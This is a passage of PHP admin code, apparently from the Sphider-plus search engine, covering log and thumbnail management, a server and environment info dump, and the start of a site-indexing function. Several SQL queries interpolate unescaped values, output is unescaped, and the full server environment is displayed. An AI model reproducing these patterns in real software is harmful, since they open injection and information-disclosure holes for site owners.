onclick=\"return confirm('Are you sure you want to delete '{$file}' Indexing Log File will be lost.')\">Delete</a></td>\n "; } } else { echo " <td></td><td></td>\n "; } echo "\n </tr>\n "; } echo "\n </table></form>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n "; } else { echo "<br />\n <p class='cntr msg'>Note: <span class='warnadmin'>No saved spidering logs exist!</span></p>\n <br /> <br />\n "; } echo "</div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'thumb_files') { if ($thumb_folder) { // delete all former thumbnails in temporary folder clear_folder("." . $thumb_folder); } $class = "odrow"; $files = array(); $sql_query = "SELECT media_id from " . $mysql_table_prefix . "media"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $thumb_count = $result->num_rows; if ($thumb_count) { while ($row = $result->fetch_array(MYSQLI_ASSOC)) { $files[] = $row['media_id']; } } //Prepare thumbnails and their info for listing //$sites_per_page = '100'; // if you prefer another count than used for Sphiders result pages, uncomment this row and place your count of thumbnails per page here. $pages = ceil($thumb_count / $sites_per_page); // Calculate count of required pages if (empty($start)) { $start = '1'; } // As $start is not yet defined this is required for the first result page if ($start == '1') { $from = '0'; // Also for first page in order not to multipy with 0 } else { $from = ($start - 1) * $sites_per_page; // First $num_row of actual page } $to = $thumb_count; // Last $num_row of actual page $rest = $thumb_count - $start; if ($thumb_count > $sites_per_page) { // Display more then one page? $rest = $thumb_count - $from; $to = $from + $rest; // $to for last page if ($rest > $sites_per_page) { $to = $from + $sites_per_page; } // Calculate $num_row of actual page } if ($thumb_count > '0') { $fromm = $from + 1; echo "<div class='panel'>\n <p class='headline cntr sml'>Displaying thumbnails {$fromm} - {$to} from {$thumb_count}</p>\n <form action='' id='fdelfm'>\n <table width='100%'>\n <tr>\n <td class='tblhead' width='30%'>Thumbnail</td>\n <td class='tblhead'>Details</td>\n <td class='tblhead' width='20%'>Option</td>\n </tr>\n <tr>\n <td colspan='3' class='odrow bd'>\n <input type='hidden' name='f' value='49' />\n <input class='sbmt' id='submit1' type='submit' value='Delete ALL images' title='Start File deletion'\n onclick=\"return confirm('Are you sure you want to delete ALL indexed images \\n and ALL thumbnail files?')\" />\n </td>\n </tr>\n "; for ($i = $from; $i < $to; $i++) { $this_thumb = $files[$i]; $i_1 = $i + 1; // so table output does not start with zero $result = $db_con->query("SELECT media_id, media_link, thumbnail, title from " . $mysql_table_prefix . "media where media_id like '{$this_thumb}'"); if ($result->num_rows > '0') { $var = $result->fetch_array(MYSQLI_NUM); $media_id = $var[0]; $this_img = $var[1]; $title = substr($var[3], 0, strpos($var[3], $delim)); // extract original title without transliterated words $name0 = basename($var[1]); // extract file name $name = substr($name0, 0, strrpos($name0, ".")); // remove original suffix // add folder path, db, table-prefix and add own suffix $file = utf8_decode("." . $thumb_folder . "/db" . $dba_act . "_" . $mysql_table_prefix . "_" . $name . ".gif"); // temporary save thumbnail in folder if (!($handle = fopen($file, "ab"))) { if ($debug > 0) { print "Unable to open {$file} "; } } if (!fwrite($handle, $var[2])) { if ($debug > 0) { print "Unable to write the file {$file}. No thumbnails will be presented"; } } fclose($handle); } if ($class == "odrow") { $class = "evrow"; } else { $class = "odrow"; } echo " <tr class='{$class}'>\n <td class='cntr x4'>\n <a href='{$this_img}' target='rel' title='View the real image (not only the thumbnail) in new window'><img src=\"{$file}\" border='1' alt=\"Thumbnail\" /></a>\n </td>\n <td class='lft sml'>\n <p> Thumb no.: {$i_1}</p>\n <p> File name: {$name0}</p>\n <p> Title: {$title}</p>\n <p> Thumb_ID : {$media_id}</p>\n "; if ($index_id3 == '1') { echo "<p><a href='" . $include_dir . "/show_id3.php?media_id={$media_id}' target='rel' title='Click here to see EXIF and ID3 Infos in a new window'>Show EXIF Info</a></p>\n "; } echo "</td>\n <td class='cntr sml options'>\n <a href='?f=delete_thumb&file={$media_id}' class='options' title='Click to delete this thumbnail'\n onclick=\"return confirm('Are you sure you want to delete \\'{$name}\\'. \\nThumbnail file will be lost.')\">Delete</a>\n </td>\n </tr>\n "; } echo "</table>\n </form>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n "; // Display end of table if ($thumb_count > 0) { echo "\n <br />"; if ($pages > 1) { // If we have more than 1 result-page echo "\n <div class='submenu cntr'>\n Result page: {$start} from {$pages} \n "; if ($start > 1) { // Display 'First' echo "\n <a href='admin.php?f=statistics&type=thumb_files&start=1'>First</a> \n "; if ($start > 5) { // Display '-5' $minus = $start - 5; echo "\n <a href='admin.php?f=statistics&type=thumb_files&start={$minus}'>- 5</a> \n "; } } if ($start > 1) { // Display 'Previous' $prev = $start - 1; echo "\n <a href='admin.php?f=statistics&type=thumb_files&start={$prev}'>Previous</a> \n "; } if ($rest >= $sites_per_page) { // Display 'Next' $next = $start + 1; echo "\n <a href='admin.php?f=statistics&type=thumb_files&start={$next}' >Next</a> \n "; if ($pages - $start > 5) { // Display '+5' $plus = $start + 5; echo "\n <a href='admin.php?f=statistics&type=thumb_files&start={$plus}'>+ 5</a> \n "; } } if ($start < $pages) { // Display 'Last' echo "\n <a href='admin.php?f=statistics&type=thumb_files&start={$pages}'>Last</a>\n "; } echo "</div>\n "; } } } else { echo "<br />\n <p class='cntr msg'>Note: <span class='warnadmin'>No saved thumbnails exist!</span></p>\n <br /> <br />\n "; } echo "\n </div>\n </body>\n </html>\n "; exit; } if ($type == "ids") { $back = ''; showIDS($back); exit; } if ($type = 'server_info') { $s_infos = str_replace("&", "&", $_SERVER); $e_infos = str_replace("&", "&", $_ENV); echo "<div class='submenu'>\n <ul>\n <li><a href='#serv_info'>Server</a></li>\n <li><a href='#en_info'>Environment</a></li>\n <li><a href='#mysql_info'>MySQL</a></li>\n <li><a href='#pdf_con'>PDF-converter</a></li>\n <li><a href='#gd_info'>Image func.</a></li>\n <li><a href='#php_ini'>php.ini file</a></li>\n <li><a href='admin.php?f=35'>PHP integration</a></li>\n <li><a href='#php_sec'>PHP security info</a></li>\n </ul>\n </div>\n <div class='tblhead sml'><a name='serv_info'>Server</a> </div>\n <table width='98%'>\n <tr>\n <td width='20%' class='tblhead'>Key</td>\n <td class='tblhead'>Value</td>\n\n </tr>\n "; $bgcolor = 'odrow'; $i = 0; reset($s_infos); while (list($key, $value) = each($s_infos)) { echo "<tr class='{$bgcolor} cntr'>\n <td>{$key}</td>\n <td class='bordl'>{$value}</td>\n </tr>\n "; $i++; if ($bgcolor == 'odrow') { $bgcolor = 'evrow'; } else { $bgcolor = 'odrow'; } } echo "\n </table><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br /><br />\n <div class='headline cntr sml'><a name='en_info'>Environment</a></div>\n <table width='98%'>\n <tr>\n <td width='20%' class='tblhead'>Key</td>\n <td class='tblhead'>Value</td>\n\n </tr>\n "; $bgcolor = 'odrow'; $i = 0; reset($e_infos); while (list($key, $value) = each($e_infos)) { echo "<tr class='{$bgcolor} cntr'>\n <td>{$key}</td>\n <td class='bordl'>{$value}</td>\n </tr>\n "; $i++; if ($bgcolor == 'odrow') { $bgcolor = 'evrow'; } else { $bgcolor = 'odrow'; } } echo "\n </table><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n "; $server_version = $db_con->server_info; $host_info = $db_con->host_info; $client_info = $db_con->client_info; $protocol_version = $db_con->protocol_version; $sql_query = "SHOW STATUS LIKE 'Qcache_free_memory'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $cmem_size = $row['Value']; echo "<br /><br />\n <div class='headline cntr sml'><a name='mysql_info'>MySQL Info</a></div>\n <table width='98%'>\n <tr>\n <td width='35%' class='tblhead'>Key</td>\n <td class='tblhead'>Value</td>\n </tr>\n "; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>MySQL Server version</td>\n <td class='bordl'>{$server_version}</td>\n </tr>\n "; $bgcolor = 'evrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Connection info</td>\n <td class='bordl'>{$host_info}</td>\n </tr>\n "; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Client library info</td>\n <td class='bordl'>{$client_info}</td>\n </tr>\n "; $bgcolor = 'evrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>MySQL protocol version</td>\n <td class='bordl'>{$protocol_version}</td>\n </tr>\n "; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Support for mysqli</td>\n <td class='bordl'>See below as part of your PHP installation</td>\n </tr>\n "; $bgcolor = 'evrow'; echo "<tr><td></td><td></td></tr>\n <tr class='{$bgcolor} cntr'>\n <td>MySQL cache</td>\n "; if ($cmem_size == '0') { echo "<td class='warnadmin'>Cache is not initialized</td>"; } else { echo "<td class='bordl'>32 MByte initialized</td>\n </tr>\n "; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Currently free cache size</td>\n <td class='bordl'>{$cmem_size} Bytes</td>\n </tr>\n "; $sql_query = "SHOW STATUS LIKE 'Qcache_total_blocks'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $ctot_blocks = $row['Value']; $bgcolor = 'evrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Cache total blocks</td>\n <td class='bordl'>{$ctot_blocks}</td>\n </tr>\n "; $sql_query = "SHOW STATUS LIKE 'Qcache_free_blocks'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $cfree_blocks = $row['Value']; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Cache free blocks</td>\n <td class='bordl'>{$cfree_blocks}</td>\n </tr>\n "; $sql_query = "SHOW STATUS LIKE 'Qcache_hits'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $cache_hits = $row['Value']; $bgcolor = 'evrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Cache hits</td>\n <td class='bordl'>{$cache_hits}</td>\n </tr>\n "; $sql_query = "SHOW STATUS LIKE 'Qcache_inserts'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $cache_inserts = $row['Value']; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Cache inserts</td>\n <td class='bordl'>{$cache_inserts}</td>\n </tr>\n "; $sql_query = "SHOW STATUS LIKE 'Qcache_queries_in_cache'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $queries_in_cache = $row['Value']; $bgcolor = 'evrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Queries in cache</td>\n <td class='bordl'>{$queries_in_cache}</td>\n </tr>\n "; $sql_query = "SHOW STATUS LIKE 'Qcache_not_cached'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $q_not_cached = $row['Value']; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Queries not cached</td>\n <td class='bordl'>{$q_not_cached}</td>\n </tr>\n "; $sql_query = "SHOW STATUS LIKE 'Qcache_lowmem_prunes'"; $status = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $status->fetch_array(MYSQLI_ASSOC); $q_low_prun = $row['Value']; $bgcolor = 'evrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Not cached because low memory</td>\n <td class='bordl'>{$q_low_prun}</td>\n </tr>\n "; } echo "\n </table><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n "; $os = ''; $os = $_ENV['OS']; // not all shared hosting server will supply this info $admin_path = $_ENV['ORIG_PATH_TRANSLATED']; // that might work for shared hosting server $admin_file = $_SERVER['SCRIPT_FILENAME']; // should present the physical path $sdoc_root = $_SERVER['DOCUMENT_ROOT']; // this should provide every hoster (???) $edoc_root = $_ENV['DOCUMENT_ROOT']; // this should provide every hoster (???) echo "<br /><br />\n <div class='headline cntr sml'><a name='pdf_con'>PDF-converter relevant Info</a></div>\n <table width='98%'>\n <tr>\n <td width='35%' class='tblhead'>Key</td>\n <td class='tblhead'>Value</td>\n </tr>\n "; $bgcolor = 'odrow'; if ($os) { echo "\n <tr class='{$bgcolor} cntr'>\n <td>Operating System</td>\n <td class='bordl'>{$os}</td>\n </tr>\n "; $bgcolor = 'evrow'; } if (!$os) { $s_soft = $_SERVER['SERVER_SOFTWARE']; $sys_os = stripos($s_soft, "lin"); if (!$sys_os) { $sys_os = stripos($s_soft, "uni"); if (!$sys_os) { $sys_os = stripos($s_soft, "win"); } } if ($sys_os) { $os = substr($s_soft, $sys_os, '5'); echo "\n <tr class='{$bgcolor} cntr'>\n <td>Operating System</td>\n <td class='bordl'>{$os}</td>\n </tr>\n "; $bgcolor = 'evrow'; } else { $s_sig = $_SERVER['SERVER_SIGNATURE']; $sys_os = stripos($s_sig, "lin"); if (!$sys_os) { $sys_os = stripos($s_sig, "uni"); if (!$sys_os) { $sys_os = stripos($s_sig, "win"); } } } if ($sys_os) { $os = substr($s_sig, $sys_os, '5'); echo "\n <tr class='{$bgcolor} cntr'>\n <td>Operating System</td>\n <td class='bordl'>{$os}</td>\n </tr>\n "; $bgcolor = 'evrow'; } } // if ENV or SERVER_SIGNATURE or SERVER_SOFTWARE do not deliver OperatingSystem info, we will use the PHPinfo to extract it if (!$os) { $phpinfo = ''; ob_start(); // redirect output into buffer phpinfo(); $phpinfo = ob_get_contents(); // get all from phpinfo ob_end_clean(); // clean buffer and close it // extract OS information $start = stripos($phpinfo, "\"v\"") + 4; $end = stripos($phpinfo, "</td>", $start); $length = $end - $start; $os = substr($phpinfo, $start, $length); echo "\n <tr class='{$bgcolor} cntr'>\n <td>Operating System</td>\n <td class='bordl'>{$os}</td>\n </tr>\n "; $bgcolor = 'evrow'; } if ($admin_path) { $admin_path = str_replace("\\\\", "/", $admin_path); $admin_path = str_replace("\\", "/", $admin_path); $pdf_path = substr($admin_path, 0, strrpos($admin_path, "/")); $pdf_path = substr($pdf_path, 0, strrpos($pdf_path, "/")); $pdf_path = "" . $pdf_path . "/converter/pdftotext"; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to Sphider-plus Admin</td>\n <td class='bordl'>{$admin_path}</td>\n </tr>\n "; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to the Linux / UNIX PDF-converter</td>\n <td class='bordl'>{$pdf_path}</td>\n </tr>\n "; $bgcolor = 'evrow'; } else { if ($admin_file) { $admin_file = str_replace("\\\\", "/", $admin_file); $admin_file = str_replace("\\", "/", $admin_file); $pdf_path = substr($admin_file, 0, strrpos($admin_file, "/")); $pdf_path = substr($pdf_path, 0, strrpos($pdf_path, "/")); $pdf_path = "" . $pdf_path . "/converter/pdftotext"; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to Sphider-plus Admin</td>\n <td class='bordl'>{$admin_file}</td>\n </tr>\n "; $bgcolor = 'odrow'; echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to the Linux / UNIX PDF-converter</td>\n <td class='bordl'>{$pdf_path}</td>\n </tr>\n "; $bgcolor = 'evrow'; } } if ($sdoc_root) { echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to document root</td>\n <td class='bordl'>{$sdoc_root}</td>\n </tr>\n "; } else { if ($edoc_root) { echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to document root</td>\n <td class='bordl'>{$edoc_root}</td>\n </tr>\n "; } } if (!$admin_path && !$admin_file) { if ($sdoc_root) { echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to document root</td>\n <td class='bordl'>{$sdoc_root}</td>\n </tr>\n "; } if ($edoc_root) { echo "\n <tr class='{$bgcolor} cntr'>\n <td>Physical path to document root</td>\n <td class='bordl'>{$edoc_root}</td>\n </tr>\n "; } else { echo "\n </table>\n <table width='98%'>\n <tr>\n <td>\n <span class='cntr warnadmin'><br />\n Attention: Your server does not deliver information about the physical path to Sphider-plus.<br />\n For LINUX and UNIX systems you will have to initialize the PDF converter manually.<br />\n For details see the file readme.pdf, chapter: PDF converter for Linux/UNIX systems.<br />\n <br /></span>\n </td>\n </tr>\n "; } } echo "\n </table><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a><br /><br />\n "; if (function_exists(gd_info)) { $gd = gd_info(); // get details about image functions } echo "<br /><br />\n <div class='headline cntr sml'><a name='gd_info'>Info about Image Functions (GD-library)</a></div>\n <table width='98%'>\n <tr>\n <td width='50%' class='tblhead'>Key</td>\n <td class='tblhead'>Value</td>\n </tr>\n "; if ($gd) { $bgcolor = "evrow"; foreach ($gd as $key => $val) { if ($bgcolor == "evrow") { $bgcolor = "odrow"; } else { $bgcolor = "evrow"; } echo "\n <tr class='{$bgcolor} cntr'>\n <td>{$key}</td>\n <td class='bordl'>{$val}</td>\n </tr>\n "; } } else { echo "\n <tr class='warnadmin cntr'>\n <td>Image functions are not installed.</td>\n <td>You will need to compile PHP with the GD library.</td>\n </tr>\n "; } echo "\n </table><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a><br /><br />\n "; echo "\n <div class='headline cntr sml'>PHP Info</div>\n <br />\n <div class='headline cntr sml'><a name='php_ini'>php.ini file</a></div>\n <table width='98%'>\n <tr>\n <td width='20%' class='tblhead'>Key</td>\n <td class='tblhead'>Value</td>\n\n </tr>\n "; $php_ini = str_replace("&", "&", ini_get_all()); $bgcolor = 'odrow'; $i = 0; reset($php_ini); while (list($key, $value) = each($php_ini)) { echo "\n <tr class='{$bgcolor} cntr'>\n <td>{$key}</td>\n <td class='bordl'>\n "; print_r($value); echo "\n </td>\n </tr>\n "; $i++; if ($bgcolor == 'odrow') { $bgcolor = 'evrow'; } else { $bgcolor = 'odrow'; } } echo "\n </table>\n <br /><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br /><br />\n <div class='headline cntr sml'><a name='php_sec'>PHP security info</a></div>\n <table width='98%'>\n <tr>\n <td width='20%' class='tblhead'></td>\n <td class='tblhead'></td>\n\n </tr>\n "; //phpsecinfo(); // get PHP security information echo "\n </table>\n <br /><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br /><br />\n </div>\n "; exit; } }
function index_site($url, $reindex, $maxlevel, $soption, $url_inc, $url_not_inc, $can_leave, $use_robot, $use_nofollow, $cl, $all, $use_pref) { global $db_con, $mysql_table_prefix, $command_line, $mainurl, $tmp_urls, $domain_arr, $all_keywords, $smp, $follow_sitemap; global $link_check, $smap_dir, $index_media, $clear, $create_sitemap, $tmp_dir, $domaincb; global $max_links, $realnum, $debug, $no_log, $dba_act, $add_auth, $interrupt, $index_media, $thumb_folder; if (!$can_leave) { $can_leave = $domaincb; } $can_leave_domain = $can_leave; $starttime = getmicrotime(); // start time to index this site $black = '0'; // will become counter for hits of blacklist $site_id = ''; $skip = ''; $smp = '0'; $omit = array(); $url = $db_con->real_escape_string(stripslashes($url)); if (strstr($interrupt, "-")) { // if indexer should not be interrupted periodically $interrupt = '999999'; // never } $int_count = $interrupt; // $int_count will be decreased by each indexed link until $int_count = 1 printStandardReport('starting', $command_line, $no_log); if (!isset($all_keywords)) { mysqltest(); $sql_query = "SELECT keyword_ID, keyword from " . $mysql_table_prefix . "keywords"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } while ($row = $result->fetch_array(MYSQLI_NUM)) { $all_keywords[addslashes($row[1])] = $row[0]; } if ($clear == 1) { clean_resource($result, '06'); } } $url = convert_url($url); $compurl = parse_addr($url); if ($compurl['path'] == '') { $url = $url . "/"; } $t = microtime(); $a = getenv("REMOTE_ADDR"); $sessid = md5($t . $a); if ($url != '/') { // ignore dummies $urlparts = parse_addr($url); $domain = $urlparts['host']; if (isset($urlparts['port'])) { $port = (int) $urlparts['port']; } else { $port = 80; } if (strpos($url, "?")) { $url_bas = substr($url, 0, strpos($url, "?")); } else { $url_bas = $url; } mysqltest(); $sql_query = "SELECT * from " . $mysql_table_prefix . "sites where url like '{$url_bas}%'"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $result->fetch_array(MYSQLI_NUM); $site_id = $row[0]; $authent = $row[2]; if ($add_auth && $authent) { // for sites with authentication we need to verify the value $url_status = url_status($url, $site_id, $sessid); $url_parts = parse_all_url($url); if ($url_status['state'] == 'ok' && $url_status['content'] == 'text') { if ($url_status['relocate']) { // if relocated, print message and redirect to new URL printRedirected($url_status['relocate'], $url_status['path'], $cl); if (strstr($url_status['path'], "//")) { // if redirected to absolute URL, use this for further usage $url = $url_status['path']; } else { $relo_url = str_replace($url_parts['query'], "", $url); // url without query $relo_url = substr($url, 0, strrpos($relo_url, "/") + 1); // url without file name if (strpos($url_status['path'], "./") === 0) { // if redirected relativ to same folder depth $url_status['path'] = str_replace("./", "", $url_status['path']); $url = "" . $relo_url . "" . $url_status['path'] . ""; } if (strpos($url_status['path'], "../") === 0) { // if redirected relativ and one folder up $url_status['path'] = str_replace("./", "", $url_status['path']); $relo_url = substr($url, 0, strpos($url_parts['path'])); // url without file name $relo_url = substr($url, 0, strrpos($relo_url, "/") + 1); // url without last folder $url = "" . $relo_url . "" . $url_status['path'] . ""; } } } // read file $contents = array(); $file = ''; $file = file_get_contents($url); if ($file === FALSE) { // we know another way to get the content $get_charset = ''; $contents = getFileContents($url, $get_charset); $file = $contents['file']; } // parse header only preg_match("@<head[^>]*>(.*?)<\\/head>@si", $file, $regs); $headdata = $regs[1]; // fetch the tag value preg_match("/<meta +name *=[\"']?Sphider-plus[\"']? *content=[\"'](.*?)[\"']/i", $headdata, $res); if (isset($res)) { if ($authent != $res[1]) { // invalid value in authentication tag $skip = '1'; printHeader($omit, $url, $command_line); printStandardReport('Skipped_03', $command_line, $no_log); } } else { // no authentication tag found in header $skip = '1'; printHeader($omit, $url, $command_line); printStandardReport('Skipped_02', $command_line, $no_log); } } else { $skip = '1'; printHeader($omit, $url, $command_line); printStandardReport('statError', $command_line, $no_log); } } if (!$skip) { if ($site_id != "" && $reindex == 1) { mysqltest(); $sql_query = "INSERT into " . $mysql_table_prefix . "temp (link, level, id) values ('{$url}', 0, '{$sessid}')"; $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $sql_query = "SELECT url, level from " . $mysql_table_prefix . "links where site_id = {$site_id}"; $result = $db_con->query($sql_query); while ($row = $result->fetch_array(MYSQLI_ASSOC)) { $site_link = $row['url']; $link_level = $row['level']; if ($site_link != $url) { $sql_query = "INSERT into " . $mysql_table_prefix . "temp (link, level, id) values ('{$site_link}', '{$link_level}', '{$sessid}')"; $db_con->query($sql_query); } } $sql_query = "UPDATE " . $mysql_table_prefix . "sites set indexdate=now(), spider_depth ='{$maxlevel}', required = '{$url_inc}'," . "disallowed = '{$url_not_inc}', can_leave_domain='{$can_leave}', use_prefcharset='{$use_pref}' where site_id='{$site_id}'"; mysqltest(); $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); 